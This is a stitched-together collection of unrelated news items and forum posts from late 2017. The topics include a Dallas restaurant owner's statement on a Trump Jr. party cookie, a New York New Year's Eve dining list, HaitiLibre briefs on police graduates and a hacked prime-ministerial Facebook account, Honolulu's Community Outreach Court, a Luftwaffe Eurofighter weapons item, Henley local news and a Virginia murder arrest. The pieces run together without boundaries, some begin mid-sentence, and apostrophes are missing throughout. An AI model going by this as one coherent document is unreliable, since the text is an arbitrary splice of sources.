First off, thats a giant cookie, and second, it doesnt appear to have been an early Donald Trump Jr. birthday gift  he was reportedly at a Dallas restaurant for a regular patrons birthday party, to which another guest apparently brought the celebratory dessert. Either way, Senator Ted Cruz was also in attendance; he happily mugged with Trump Jr. in one of the photos, and many in the crowd seem to have found the cookie hilarious.

The owner of that restaurant, Le Bilboquet, was not among those people. After the internet had a field day with Trump Jr.s pics, with some ripping the stunt as a racist minstrel show, Stephan Courseau posted his own message both on Facebook and Instagram voicing his displeasure. Let me be clear, I share your indignation without any reservation about the borderline-racist cookie, he wrote. For reasons you must assume involve lots of subsequent nasty troll comments, the posts have since been removed, but the Houston Chronicle and Dallas Observer report that Courseau wrote, in part:

Both Donald Trump Jr. and Ted Cruz were attending a birthday celebration of one of our regular patrons who rented out our venue for a private event. The party was not for either one of them nor was it any kind of partisan rally. We at Le Bilboquet feel betrayed and sad. Restaurant business is about creating a hospitable environment for all, a non-partisan, non-politicized, nondiscriminatory and respectful environment. The fact that guests decided to use our restaurant as a platform to promote, disrespect, and spread hatred goes against everything we stand for. On a personal note, I am French and my wife is Mexican. We both believe in universal values of love, respect and tolerance.

The posts followed a lot of social-media attacks on the restaurant, including calls to boycott it. Courseau explained that hes hurt and also truly sorry that such distasteful events happened at our venue, but tried closing on a more hopeful note  that maybe the stupidity of it reminds everybody that a divide still exists and to keep promoting our core values, so that events like these dont happen again.
Your New Years Eve look. Photo: Bettmann Archive/Getty Images

Its New Years Eve, the holiday New Yorkers celebrate with unnecessary cover charges and forced prix fixe menus. It doesnt have to be this way! There are plenty of excellent spots where it will be more or less business as usual  and you can ring in the new year knowing you arent getting price-gouged for middling caviar and subpar sparkling wine. Grub is here to point you to great bars and restaurants that are sticking to their usual routines.

Bar Moga

Cut into a fried ricestuffed omelette and drink a Scotch and shochu cocktail, the Devils Pocketwatch, at this stylized cocktail bar that calls back to 1920s Japan.

Butter & Scotch

Cake and cocktails? Sounds like a pretty good way to end the year. And it might not be your birthday, but birthday cake this good shouldnt be eaten just once a year.

Claro

The lobster tostada feels fancy enough, and theres plenty of mezcal  straight and in cocktails  to wash it down.

Dante

You could try to go out with a bang and drink everyone of this downtown bars 12 Negronis, though maybe itd be better to split them with good friends.

Diner

Itll be no-reservations here, per usual, and the always changing menu will include shrimp cocktail, scallop crudo, and dry-aged rib eyes if you want to make a night of it. Plus, youll get a Champagne toast with your meal.

Dumpling Galaxy

Why not go to the house of New Yorks Best Dumpling? Dumplings are believed to bring good fortune, and youll have dozens of ones to choose from here.

Emily

The pizza here is particularly fun  ranch! vodka sauce! pulled pork!  and theres a burger (single patty at the original Brooklyn location, double in the West Village) that will make you feel like you ended the year on a high note.

Emmy Squared

Or you could go the square za route in Williamsburg, where they serve pies topped with hatch chiles and pineapple, and top it off with a chicken parm sandwich.

El Atoradero

Make it a Taco Monday at the Prospect Heights taqueria, then head right next door to its sister bar Madre Mezcaleria for a few drinks.

Jeju Noodle Bar

Noodle into the new year with a bowl of Fish Coop ramyun, made with a chicken and fish broth.

Hanoi House

Its been a real hassle getting into this Vietnamese restaurant, one of 2017s biggest and most exciting surprises, since it opened, but theyre actually offering reservations for the holiday. Just email info@hanoihousenyc.com; otherwise its just the same old spring rolls and pho.

The Lost Lady

The Avenue C bar is the sort thats always laid-back, and they wont mess with things for the holiday except to offer a Champagne toast and complimentary passed appetizers and tacos.

Marlow & Sons

If you want to go to an Andrew Tarlow restaurant but would prefer knowing when youll eat, his second restaurant will also be a la carte with specials like a seafood tower, more dry-aged rib eye, and a complimentary Champagne toast.

Nur

Tear into kubaneh bread and chickpea-fried octopus at the Middle Eastern restaurant, where youll get a complimentary glass of Champagne.

Oiji

The year is over  why not just eat several rounds of honey-butter chips? Finish the meal with a dessert of honey-butter chips with ice cream. You deserve it.

Old Monk

At the East Village Indian restaurant, you can eat juicy Tibetan-style dumplings, tangy and crunchy paapdi chaat, and get a chefs thali with a bunch of different curries.

Ops

2017 was a garbage year, so kick it to the curb with two of the best things: pizza (like a special of speck, smoked mozzarella, and tomatoes) and wine. Theyll have magnums of the good stuff from producers Radikon, Ducroux, and Costadila.

Pinch Chinese

Have a few orders of soup dumplings, and drink some good wine while youre at it.

Popina

Eat cornmeal-fried oysters and hot chicken Milanese before your party.

Suffolk Arms

Great cocktails and an unpretentious atmosphere? Sounds like a much more fun way to ring in 2018. They serve great pina coladas along with other fun drinks like an espresso Martini and Trinidad Sour, and youll get a free Champagne toast.

Vini e Fritti

Danny Meyers Roman-style bar serves lots of fried snacks, and  more relevant to this night  plenty of bubbly cocktails and wine.
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Friday, President Jovenel Moise was in the town of Louroux to inquire about the situation and the needs of the inhabitants of this commune. In order to give a quick response to the population, he said he had instructed...




Haiti - Security : Graduation of the 28th Promotion of the PNH





Monday at the National Police School, President Jovenel Moise, accompanied by Prime Minister Jack Guy Lafontant, participated in the graduation ceremony of the 28th promotion of the National Police of Haiti.



In the presence of the presidents of the two chambers, Senator Youri Latortue and Deputy Cholzer Chancy, Heidi Fortune, Minister of Justice and Public Security, Michel-Ange Gedeon Director General of the National Police of Haiti (PNH) and several representatives of the senior staff of the PNH and members of the diplomatic corps, the Head of State above all, wished to present his sympathies to the families of the police officers who were victims during the year 2017 in the performance of their duties while pointing out the importance of the role of the PNH in the development project of the country and renewed the commitment of his administration to create favorable conditions to allow the police to fulfill their mission effectively.



President Jovenel Moise in his speech urged the 1,022 new police officers including the 125 women who make up this 28th Promotion to make the law their only compass and to act with professionalism.



"To you police police officers from this 28th promotion of the National Police, I came to say that by integrating the PNH, you chose the most beautiful job that is to protect and serve. A job certainly demanding and difficult but oh so exhilarating.



In the name of the Nation, I say thank you. By opting for police science training, you have chosen to act as guardians of the law and become vigilant players in the safety of our fellow citizens."



Prime Minister Lafontant encouraged police officers "Police officers of the 28th, You have made the choice to be men of duty and justice in choosing to protect and serve the Haitian nation. Remain worthy of the arms you guard in the name of the general interest. I wish you courage !



For his part, Michel-Ange Gedeon speaking to the new police officers said them Do not delude yourself. You did not choose an easy job. You have not chosen a job that makes you rich, you have not chosen a job that will make you super leaders. Nobody is above the law. Above all, you must always act according to the law and regulations of the police institution, because the defeats of the law do not last long while the life of the disorder and anarchy should be very limited. Starting today, you have your destiny in hand. Being a police officer is a whole priesthood. It requires a lot of devotion for its community, dedication and a sense of sacrifice for its country.



The work of the police faces major challenges that raise various concerns. Today, being a good officer does not just mean putting his hand to the necks of bandits, it also means neutralizing these thugs, but respecting their rights. ou must know that all citizens have rights regardless of the classification of the offense committed. This is one of the reasons you received training on the law and the use of force. In other words, even if you are attacked, you must be aware of the proportion of forces involved and quickly assess the threats to react sensitively and professionally. In the same way, 'nou pa pitimi san gado', you have rights too. And I will know how to enforce them.



[...]



You will be agents of the order and guarantors of freedom. According to Eugene Marbeau, 'freedom is respect for everyone's rights, order is respect for the rights of all. You are therefore bound to everyone for the guarantee of rights.'



Always be firm and vigilant but always respect the rights of the human person. This is among other things what will differentiate you from any armed band. A weapon will be given to you after swearing, know that it is not a toy that is displayed to impress or ransom, it is rather a useful tool that can only serve to protect your person and that of the honest citizens weakened by bandits of all kinds [...]"



HL/ TB/ HaitiLibre






















Haiti - ALERT : The Facebook account of the PM hacked





The Directorate of Communication of the Primature informs the general population that malicious individuals hacked the official Facebook account of Prime Minister Jack Guy Lafontant.



The first elements of the investigation report a network of crooks who try to abuse the trust of citizens by seeking to extract money.



The Primature announces that steps have already been taken to remedy this situation of piracy and that severe legal measures will not fail to reach soon, this network of crooks.



Prime Minister Jack Guy Lafontant is asking people to be vigilant and not give in to this network. He asks them to continue to talk to him via Facebook.



The Direction of Communication of the Primature specifies for the Internet users uninformed that "the real Facebook account of the Prime Minister is authenticated by a blue arrow".



HL/ HaitiLibre






















Haiti - Social : Monthly allowance for disadvantaged people





As Christmas and the New Year approach, some fifty disadvantaged people, including seniors and people with reduced mobility, will benefit from a monthly allowance of 1,500 Gourdes from the Caisse Assistance Sociale (CAS) through its Regional Office in the department, the beneficiaries will no longer have to go to the Haitian capital to recover this aid from the State.



At a press conference, Pierre Jean Michelet, the Head of the Regional Office of the CAS, said that this grant currently affects three communes in the Southeast out of 10, namely Jacmel, Cayes-Jacmel and Belle-Anse.



Pierre Jean Michelet, while reiterating his commitment and that of the Administration Moise-Lafontant to continue to work for the improvement of the living conditions of the population, informed that a registration register is open to the Regional Office of the CAS located in the offices of Social Affairs and Labor (MAST) of Jacmel, to integrate about a hundred new beneficiaries under this social assistance program.



HaitiLibre / Pierre Myrthel Esther (Correspondante Jacmel)






















Haiti - FLASH : Long delays to obtain a Dominican visa





For over a month Dominican consular missions in Haiti (Petion-ville, Ouanaminthe, Cap Haitien, Belladeres and Anse a Pitre) have a lot of delay to issue visas on passports while we are in high season of visa application (early November to Carnival) which causes many problems for travel agencies, which have sometimes had to recover passports by clients for more than 2 weeks, but also in the programming of some binational activities that have been forced to re-program certain activities...



Let's stress that a multiple-year visa, the category most requested by Haitians costs 230 US dollars a very high price compared to a US visa valid for 5 years that costs 160 dollars.



Note that by the end of this year nearly 200,000 people are expected to use one of the land border points to enter Dominican territory, 98% of whom are Haitian nationals, according to projections by the Dominican General Directorate of Immigration.



Despite the fact that visas generate nearly 50 million receipts a year to the Dominican State, nothing is done to improve the speed of service and avoid disrupting the movement of Haitians between the two countries. In addition, no official statement has been issued by the Dominican consular authorities to explain the long delays and apologize with visa applicants...



Remember that all Haitian citizens holding a US, Canadian or Schengen visa (Europe) are not affected by these delays, since they can travel freely in the Dominican Republic by paying only a tourist card of 20 US dollars.



PI/ HaitiLibre






















Haiti - News : Zapping...





Meeting between the 3 powers, postponed

Monday the meeting planned by the Head of State at the National Palace, between the 3 powers of the State around the functioning of the judicial system did not take place due to the absence of the representatives of the Superior Council of the Judiciary.



Tribute to the Champions of the Diaspora

Monday, Prime Minister Lafontant participated in the official Diaspora Champions tribute ceremony on the occasion of the International Migrants Day. "The Champions of the Diaspora" is defined in the government's action plan as a program-repertoire of Haitians in the Diaspora who have shone in a scientific, professional or artistic field or who have contributed to the development of the country.



Tourism : potential for growth and development

As part of the 2017 ACP, https://www.haitilibre.com/en/news-23016-haiti-politic-parliamentarians-from-more-than-106-countries-gather-in-port-au-prince.html Isabelle Durant Deputy Secretary-General of the United Nations Conference on Trade and Development (UNCTAD) advocated for a sustainable tourism in an interconnected world where the economic weight of revenues in this sector is comparable to or even greater than that of oil and gas exports and of foodstuffs. A sector that in many countries including Haiti, has potential for economic growth and development while promoting environmentally friendly development."



The GAAR writes to Parliament

The Support Group for Haitian Returnees and Refugees (GARR) has sent a letter to Parliament to explain the need for Haiti to ratify the International Convention on the Protection of the Rights of Migrant Workers and their Families.



Rehabilitation of the control tower of the AAN

Monday, in the context of Monday's press, Olivier Jean the Director General of the National Office of Civil Aviation (OFNAC) announced that "The rehabilitation of the control tower of the National Airport Authority (AAN) will be finalized in April 2018 [...] In Cap-Haitien, the new control tower will also be functional with another technical block for better control of airspace."



3 appointments to the EPPLS of Nippes

Yvon Buissereth, the Director General of the Public Enterprise for the Promotion of Social Housing (EPPLS) proceeded Friday, December 15 to the installation of Ms. Fiderl-Ange Noel as epartmental Director, Guirlaine Gaspard as Deputy Director and Guerline Rubin as administrator of the Nippes EPPLS office. This ceremony took place in the presence of a team from the Departmental Delegation of Nippes including Gina Auguste, representative of the Departmental Delegate.



HL/ HaitiLibre


















When its time to spend some quality time with your kids, there is only so much Cocomelon that one man can take. You have to get out of the house and get some fresh air or some socialization for your...
"debating" the tax Bill say...the wealthy Trump family will get a tax cut...Let's see.... I guess because of the name they should not get the same cut as other wealthy people????



Another says "millions" will lose their health coverage. Another...going to see huge cuts in SS and Medicare....there is not a word about those things, in this Bill. Ending the mandate says those who chose to not buy insurance will NOT have to pay a tax. From the start of Obamacare, people asked...is that setting a precedence to allow Government to punish people for NOT buying other products????
tristanrobin said: So, nothing that isnt true...just blustering and blowhard insults.



gotcha. Click to expand...

Here's why I don't think there will be an impeachment or a coup.There is a huge amount of, call it inertia, in the system.There is a trajectory, that has an inevitability to it.Now if you're a Republican, you are a long way off from impeaching Trump, because you see this as an opportunity to get a presidential signature on whatever you can get through, even if you are having a hard time getting stuff through now, it will probably be harder after the 2018 elections, so why queer the deal, with an impeachment.If the Democrats take the House, a very real possibility, they might be able to impeach Trump, but no way they get to 67 votes in the Senate, so it's a non starter, that go down fighting for something that was never even a possibility just isn't the Democratic way.And as far as a coup goes, there's already pushback from the professional government staff and the military, they aren't going to abandon the constitution for Trump, he's not very popular with the people, and even less popular with the professional managers in the government.The difference between Trump and say Hugo Chavez, was that Hugo Chavez could get 80% of the vote, so his party dominated every level of the government, he had every supermajority he needed. He could amend the constitution at will, because if he needed a 75% supermajority for a constitutional amendment, it was right there in place.Trump can't get a simple majority vote through a Republican congress.He is just not in the position to stage a coup.He might like to, he might want to, but if gives the orders, I think they'll be refused by a military that cannot imagine a scenario where a Trump Coup is successful for more than a day or two, and that's a not a career option for a guy looking for a 30 or 40 year career.
UPDATE: How Tickets Forced 16 Homeless to accept Housing

CB Dec 18, 2017: Earlier this year, though, Prichett walked into the District Court on Alakea Street to find he had 34 traffic tickets and three bench warrants.

I couldnt keep them all straight in my head, said Prichett, 61. I had so many tickets I lost track of all my court dates.

He was four years into homelessness and had been to court so many times the bailiff recognized him. Prichett told the judge he wanted an attorney. At the Office of the Public Defender, he learned about Community Outreach Court, a program that would resolve his legal issues and lead him to services that put a roof over his head.

Today he lives in a clean and sober house and is looking for permanent housing and a job.

Nearing its first anniversary, the fledgling court program has helped Prichett and 34 other people dig themselves out of what he calls that deep hole with all the tickets in exchange for community service hours rather than jail time or fines.

The program is available to defendants with low-level, nonviolent offenses, including being in a park after hours, camping without a permit and driving without a license.

State Public Defender Jack Tonaki calls them homeless-type citations. .

Through November, eight court participants have found housing, and another eight entered shelters.

read  This Court Offers The Homeless A Fresh Start Instead Of Punishment

* * * * *

Community Outreach Court clears hundreds of cases

News Release from Honolulu Prosecutor, December 5, 2017

Dozens of defendants facing hundreds of non-violent offenses have resolved the cases against them by attending to Community Outreach Court (COC), an innovative criminal justice initiative launched in early 2017. Within ten months 47 defendants had gone through COC, 528 non-violent cases had been cleared, and 537 hours of community service had been performed.

Community Outreach Court was designed to assist people facing multiple low-level quality of life offenses and alleviate the congestion in district courts created in part by those cases.

BACKGROUND

Hawaii has the highest per capita rate of homelessness in the nation. As the homeless population has grown, the number of misdemeanor cases involving defendants with limited resources has increased dramatically. Those cases bogged down courts. They utilized a disproportionate amount of resources. In addition, defendants often committed the same offenses repeatedly because they were not offered rehabilitation services.

The State of Hawaii Judiciary, the Honolulu Department of the Prosecuting Attorney (Prosecuting Attorney), and the Hawaii Office of the Public Defender (Public Defender) responded by creating a steering committee to find a way to assist people committing the offenses and to ease the increased burden on the district courts. That committee developed Community Outreach Court and thanks to a federal grant, the court held its first hearing in January 2017.

PROCESS

The Prosecuting Attorney and the Public Defender review all potential COC cases. Only defendants with non-violent offenses are eligible. Those offenses include violations of park rules and regulations, driving without a license, smoking in prohibited places, drinking liquor in public, and more. Participants are sentenced to community service instead of jail time or fines. Sentences are agreed to in advance by the prosecuting attorney and the public defender. All participants are represented by a Deputy Public Defender and are assisted by a social worker/advocate.

Advocates from the Institute for Human Services and the CHOW Project attend COC hearings and meet with participants following the hearings to assist with housing, employment, and other needed services. These advocates work with other social service agencies such as the Economic Development Center of Parents and Children Together, the Oahu Jail Diversion Program, Catholic Charities, Waikiki Health, Kalihi Palama Health Center to address a myriad of participants needs. The agencies and advocates equip participants with tools they need to move forward in their lives.

FUTURE

During the 2017 legislative session, lawmakers approved $455,768 for each of the next two fiscal years for COC. Governor David Ige signed the funding appropriation in June 2017. The program has received additional funding from the Department of Justice. The Center for Court Innovation assisted in implementation.

The goal is to eventually take the court and its treatment team to various communities around Oahu. But for now, COC is held at the Honolulu District Court building twice per month.
The article, he gauges, was an example of the fundamental responsibility of journalism to monitor the operations of authorities  in this case, the Finnish Defence Forces.

Helsingin Sanomats much-discussed article about military intelligence unlikely contained information that poses a threat to national security, views Heikki Kuutti, the research coordinator at the department of communications of the University of Jyvaskyla and former head of the information department of the Finnish Air Forces.

National security is not something that belongs only to authorities but to each of us. Were all interested in how safe we are. You simply cant bury this whole thing under red stamps, he stated to Uusi Suomi on Monday.

Kuutti, who in his research has specialised in the publicity act, information gathering and investigative journalism, estimated based on the debate kindled by the article that the purviews of different laws are ambiguous to the public. Some commentators, for example, have suggested that journalists are bound by the publicity act.

But it only applies to authorities, he said.

What a newspaper publishes has nothing to do with the publicity act. Journalists can make independent decisions about what to do with their information. Journalists, however, are governed by freedom of speech and a handful of sections of the criminal code.

He added that the priority of a possible trial against the newspaper should be to determine what was the objective of publishing the classified information.

Many claim that it was to disclose a national secret, but I personally believe that what applies here are journalists grounds for publicly monitoring and evaluating the operations of authorities, says Kuutti.

Im surprised at how freedom of speech has been forgotten in this context.

Kuutti also reminded that the safety of citizens constitutes sufficient grounds for limiting freedom of speech, as evidenced by rulings by the European Court of Human Rights. Neither journalists nor citizens, however, should blindly trust that the decisions of authorities to classify information are justified.

Its smarter for the work of authorities to use the red stamp freely. If someone then submits an appeal to a court of appeal, thats when itll be determined if the document should be made public or not. But at least its a way to buy time, he said.

But if you automatically trust the authorities and the media fail to monitor the authorities in the first place, we wouldnt be far from a dictatorship. We must be able to examine these things.

Aleksi Teivainen  HT

Photo: Martti Kainulainen  Lehtikuva

Source: Uusi Suomi
TaktLwG 31 Boelcke, the Luftwaffes first operational Eurofighter wing based at Norvenich Air Force Base, will also be the first unit to deploy the Typhoon fighter jets in the ground attack role, equipped with Enhanced Paveway II guided weapons. 27 of the units 31 Eurofighters are to be equipped with the weapon. Germany currently operates 125 of the 143 Typhoons ordered from the Eurofighter consortium. Until now those fighters were restricted to the air defense role, which they pursued in combat patrols above the Baltic region.

This new capability will be critical for the German deployment in support of NATOs Very High Readiness Joint Task Force (VJTF). Established in 2014, this is a rapid response task force made of 5,000 troops and backed by support elements from several alliance states, is currently led by the British forces. Germany, the Netherlands, and Norway will assume VJTF responsibility in 2019.

GBU-48 Enhanced Paveway II is a precision guidance kit comprised of a GPS guidance, enabling attack under all weather conditions, and semi-active laser homing, enabling high precision targeting using laser illumination. The kit also includes a wing assembly and control unit strapped on standard 1,000 pound Mk-83 aerial bombs, turning them into precision-guided weapons. Utilizing different activation fuses, the weapon can be activated by impact, airburst or delay facilitating target penetration and reduce collateral damage.
A FORMER army nurse awardded a military honour was among the guests at the Christmas lunch for members of the Henley and Peppard branch of the Royal British Legion.

Yvonne Lees, who was one of the first British veterans of the Second World War to be given the Legion dHonneur last year, visited the event at the Christ Church Centre in Reading Road on Monday.

She was joined by more than 50 other guests for the lunch of soup made from vegetables harvested at the towns Watermans allotments, roast turkey with all the trimmings and a flaming Christmas pudding made by chef Doug Richards.

Mrs Lees, 97, from Brundall in Norfolk, was visiting her son David and his wife Shirley, a former Poppy Appeal organiser, who live in Boathouse Reach, Henley.

During the war, she ran a nursing station and as the conflict neared its end followed the Allied troops east so she was one of the first nurses to arrive in Germany.

She continued her work in India and Egypt, where she met her husband Roy, who died in 2007.

During a ceremony marking the 70th anniversary of D-Day in 2014, the then French president Francois Hollande announced that the Legion dHonneur, Frances highest military honour, would be awarded to all British veterans who fought for the liberation of France during the war.

Mr Lees applied on his mothers behalf and she was awarded the honour almost two years later. A reception celebrating her achievement was held at Brundall Memorial Hall, with the medal presented by the mayor of its twin town Maurecourt.

Mrs Lees said: I ran a casualty clearing station and we were the first group of nurses over after

D-Day following through to Normandy and Germany.

When they had the commemorations, President Hollande announced he would offer the Legion dHonneur to non-French nationals who played an important role in the campaign. I got a letter asking if I would like to be presented with it.

Other guests at the lunch included two residents of Acacia Lodge care home, Ian Francis, 87, and Chas Cooper, 91, and town councillor Julian Brookes.

Rev Martyn Griffiths, the rector of Henley with Remenham, was attending for the final time before his retirement and was presented with a certificate of appreciation for his work with the branch during his tenure. He thanked the group and said grace before the meal, while branch chairman John Green led the Ode of Remembrance. There was also a moments silence for Ursula Hughes, wife of Henley standard bearer Brian Hughes, who died earlier this month, aged 81.

Mr Green said: This is an annual lunch which is very special this year for various reasons.

Its the last time Rev Martyn Griffiths will be joining us and we have a vote of thanks for him.

Although there are some sad absences this year, the fact is that the branch is thriving and we now number 110 members.
A COMMUNITY campaigner will stand for Henley Residents Group at next months town council by-election.

Paula Isaac, 38, is chairwoman of Gainsborough Residents Association, which she founded in September 2013 with David Eggleton, who has since become an HRG councillor.

She says her priorities are helping to provide more affordable housing in the town and family facilities.

Residents of Henley North ward will head to the polls on January 18 for the by-election caused by the resignation of Conservative Simon Smith last month.

HRG will be hoping to tighten its grip on the council after winning two by-elections in May and then taking back control at mayor-making.

Mrs Isaac lives in Gainsborough Road with her husband Rob and three children, Kayleigh, Keri, and Jamie, and works as a teaching assistant at Badgemore Primary School.

She said: HRG members roll up their sleeves and get involved within the community across a wide range of organisations vital to Henley. It really listens to residents and tackles things voters care about.

This is how the town council should be run  by local people for local people.

Having lived in Henley for 33 years, I love this beautiful and friendly town. With three children, I feel it is important for them to grow up in a strong and caring community.

This is why I became involved in my local Gainsborough estate community, co-chairing its residents association. As it grew in popularity, we became more involved in wider town issues like the Henley Skatepark Initiative.

Consequently, I was introduced to Henley Residents Group and loved its ethos and independence of national political parties. It consists of residents who care about Henley and its best interests.

Issues important to me as a local mum are providing affordable housing to avoid division in our community, providing more community family facilities, increasing support for residents of all ages who have mental health issues and supporting residents who want to get involved in their own local communities.

I have a long track record of serving the local community and my work at Badgemore school means that I am involved with lots of local families and have a true insight into issues that people in the town face.

Mrs Isaac will be standing against Donna Crook for the Conservatives and Jackie Walker for Labour.

The council is currently made up of eight HRG members, six Conservatives and one Independent Conservative.
A Christmas Tale | Kenton Theatre | Sunday, December 10

THE entrepreneurial spirit of local impresario Jack Maple  at 22, still the West Ends youngest theatre producer  and this energetic new work by his former Oratory School English teacher Tony Stroker, combined to deliver an engaging Christmas farce at the Kenton Theatre for just two performances this past Sunday.

Clearly drawing on influences of Fawlty Towers and the works of Michael Frayn, a cast of Oratory School friends and graduates of the Italia Conti Academy skilfully reworked an interpretation of the nativity  but not set in Bethlehem, you understand.

Rather, this is a snowy Christmas Eve in the Derbyshire town of Buxton in the Seventies, and an unappealing inn known as The Star Hotel where industrial strikes and the Winter of Discontent lead to power cuts, undelivered food for the pantry, and resulting mayhem. Convening at The Star, not surprisingly at Christmas, are the angels in the form of a touring boys choir from Dusseldorf, the Shepherd family, and a late-arriving young husband and pregnant wife, known as the Carpenters (Ian Pollington and Zoe Grain). There are, of course, no rooms available at the inn for the latter, so landlord Arthur (Alexander Knott) and his wife Phoebe (Luke Frost) make space by vacating their bedroom to sleep in the annexe.

Sadly, the Kings have got stuck in traffic.

As one would hope with a work of this kind, the enthusiastic young cast dole out the lightning-fast paced comedy with aplomb and director Max Saunders executes with a keen eye.

Knotts hapless landlord, Arthur, who negotiates countless phone calls from lost hotel guests while simultaneously dealing with endless complaints of those who have already arrived, astounded the audience with his animated and protracted monologues  at one point stirring them into spontaneous applause. In amongst several appropriate nods to the beloved British panto, Luke Frost incited much audience hysteria as Arthurs stern-faced wife Phoebe, whose intransigence and grouchiness give way to an unpredictable and broody soft touch in the face of a pregnant woman.

Jack Gogarty as grumpy local barfly George, meanwhile, virtually steals the show, from the moment he nabs the very last available pint of bitter from the keg, to his dry and relentless teasing of German choirmaster Herr Engel (Jack Cronin).

Gogarty subsequently brings to life the most poignant moment of the play, as he dreams in his armchair of a return of his late wartime paramour.

Richard Mellion as implacable guest Mr Shepherd and Aaron Price as back-injured but resolute chef Jack Danby provided strong support.

A Christmas Tale is slated to tour next year. For more information, visit www.

jackmapleproductions.co.uk

Martin Dew
Focused on the task at hand, Lindsey Free carefully applied a layer of acrylic craft paint on a recent afternoon to an image she was painting on an office window at B&G Logging's truck shop near Philomath.

"I really love the color ones that I bring to life," said the 31-year-old Free. "I'll start out and I'm like, 'this isn't turning out, it's hideous, nobody's going to like it.' These are the thoughts that go through my head."

But then the image starts to come in.

"As I get more detailed and more detailed, I'm like, 'I just love this' and it's too bad I have to wash it off in a month," she said.

A Kings Valley resident and employee at Citizens Bank, Free doesn't call herself a painter. The skills that she showcases each holiday season on windows around Philomath and Corvallis are almost entirely self-taught.

She developed a love for drawing as a youngster.

"For a while, I would just draw charcoal pencil drawings," Free said. "I took one art class in high school, but mostly it's been one of those things you do because you're young and a kid."

Free graduated from Philomath High School in 2004. In her 20s, Free's ability to find time for art dissipated "just because of life" as a working mother.

Then one year, Free and some co-workers watched a woman paint the windows at Citizens Bank. She thought, "I can do that," and received encouragement to take it over. That led to her first window painting three years ago.

Citizens Bank was among local businesses taking part in a window-decorating contest that featured the theme, "Starry Night."

"I never want to follow what the norm is, so that's why we painted Van Gogh's 'Starry Night' because people could take 'Starry Night' and it can be anything," Free said. "We were like, 'let's take the most difficult, coolest thing that nobody would expect to see on a window and paint it.'"

Through that experience, Free was hooked on the fun of creating images on windows. That same year, she painted the office windows at B&G Logging and then took on a pretty sizable project over in Corvallis.

A manager at the Timberhill Shopping Center "got a hold of me through word of mouth and asked if I could paint all the holly berries and leaves in the shopping center," Free said.

Free has done the windows at the shopping center along with B&G Logging and Citizens Bank for the past three years.

The previous weekend, Free painted snowflakes on windows at all four Coffee Culture locations in Corvallis. She also painted landscapes on the windows at City Hall.

"It's exciting ... they're always joking at work that I'm going to have to take the month of December off because I keep getting all these new clients," she said.

The time that it takes to complete a window painting depends on the complexities involved. Some images demand more layers of paint depending on the details. Plus, Free admits "I'm my own worst critic" and that can translate into spending more time on a particular image to get it just right.

"This had actually been all white," said Free while motioning toward the character she was painting on the B&G window Thursday. "I painted her all white and slowly added the color where I wanted. And it really just adds this deep vibrancy to it and that's what I want, nice clean dark colors that pop out."

Free makes a little money from her window painting but she calls it more of a hobby, not a business venture.

The large project at Timberhill Shopping Center involves the most time. She got the job done in around nine hours this year.

"I'm getting quicker at it I have found, but I'm learning," she said. "Timberhill, it took me 10 hours last year but I only did three colors instead of four. So this year, I thought, I'm going to whiz through that and be done in like four hours."

It didn't work out that way.

"No, I ended up doing four colors and it looks better," she said, the own worst critic side of her coming out again. "They're just richer, so I'm glad I did that."

This year's window painting at Citizens Bank took around six hours.

"If you stop by and you see all the Peanuts characters, they're all different colors," she said. "So it's the changing of the colors and climbing up and down the ladder, it takes time, and how quickly my paint will dry."

Free obviously has a talent for being able to create images in the correct proportions. She doesn't sketch anything ahead of time to use as a guide.

"If I'm painting something I've never painted before, I'll take a screenshot (on her phone) so I have an idea of what she's supposed to look like, and I just put her in white," she said. "I go along and wing it ... and just kinda look at it and get the shape that I want and go from there."

Free makes it sound so easy but for many, it would be a serious challenge.

"I've always been kinda good at that," she said, "being crafty in all things. It's kinda fun."

Free had to think for a few seconds when asked about a favorite window painting she's done. At first, she said she loves all of them, and it's clear that she does. But the characters, such as Peanuts at the bank or Minions at B&G are a lot of fun for her to create.

"It's a toss-up between B&G and the bank," she finally concluded. "I love bringing the little cartoon characters to life. They're hands down my favorite because I get to put my own creativity into them, you know, but I love them all."
The Spirit Mountain Community Fund awarded $770,422 to 40 nonprofit organizations in Benton, Clackamas, Lane, Lincoln, Linn, Marion, Multnomah, Polk, Tillamook, Washington and Yamhill counties during a quarterly check presentation in Grand Ronde on Dec. 13.

Among the nonprofits to receive grants for the Spirit Mountain Community Fund this quarter were:

 Benton County: Old Mill Center for Children and Families, Inc., $20,000.

 Linn County: Campus Compact of Oregon, $6,600; Friends of the Sweet Home Library, $2,500; Mid-Willamette Family YMCA, $30,000.

The Confederated Tribes of Grand Ronde is committed to honoring the tribal traditions of sharing and giving back to the community. In 1997, as an effort to uphold these traditions, the tribe formed the Spirit Mountain Community Fund, dedicating 6 percent of all casino revenue to non-profit organizations in an 11-county area of western Oregon.

To date, the Community Fund awarded $76,480,184 in grants to nonprofit organizations.
ABINGDON, Va.  Two men were arrested in connection with the Reedy Creek Road murder over the weekend, Washington County Sheriff Fred Newman said at a press conference on Monday.

Gary Lynn Murray, 19, and Timothy D. Carrick, 38, both of Bristol, Tennessee, were arrested after being found connected to the homicide of Steven Jeremy Hafen, 39. The homicide occurred in late November at an apartment on Reedy Creek Road.

Additionally, the Sheriffs Office has what we believe to be the murder weapon, which is a hammer, Newman said. When the body was found, Newman said that based on preliminary investigations, it appears the victim died from violent trauma to the head, the Bristol Herald Courier previously reported.

Carrick was arrested on late Friday night, and Murray was arrested on Sunday night, both by the Bristol Tennessee Police Department, Newman said at the press conference.

Both Carrick and Murray were charged with first-degree murder, robbery, conspiracy to commit murder and conspiracy to commit robbery, Newman said. They are both currently being held in the Sullivan County Jail in Blountville, Tennessee, awaiting extradition back to Virginia.

Through the cooperative efforts of multiple law enforcement agencies  in particular, the Bristol Tennessee Police Department  we were able to bring this homicide investigation to what we believe to be a successful conclusion, Newman said.

The Sheriffs Office was able to develop the two suspects through numerous interviews and intense investigation, Newman said.

The motive apparently  [is] robbery, Newman said.

On Nov. 30, Hafen was found deceased at his apartment located on Reedy Creek Road, after family members became concerned and tried to enter the apartment, the Bristol Herald Courier previously reported. Police said the door lock had been dismantled, and the body was found in the living room of the apartment.

The victims family provided as much information as possible throughout the entire investigation, Newman said.

Newman said that the homicide is an isolated incident for the neighborhood.

Washington County Commonwealth Attorney Josh Cumbow said that once the suspects are back in Washington County they will be arraigned, have the opportunity to enter a plea and be appointed counsel if they have not already hired their own. A preliminary hearing date will also be set.

The possible sentence for first-degree murder is up to life in prison  and maximum sentence for robbery is 40 years in prison, Cumbow said.

Newman could not provide comment on whether the investigation is drug-related. The Sheriffs Office would also not disclose if the suspects knew each other prior to the homicide.
Are you ready for some barbecue?

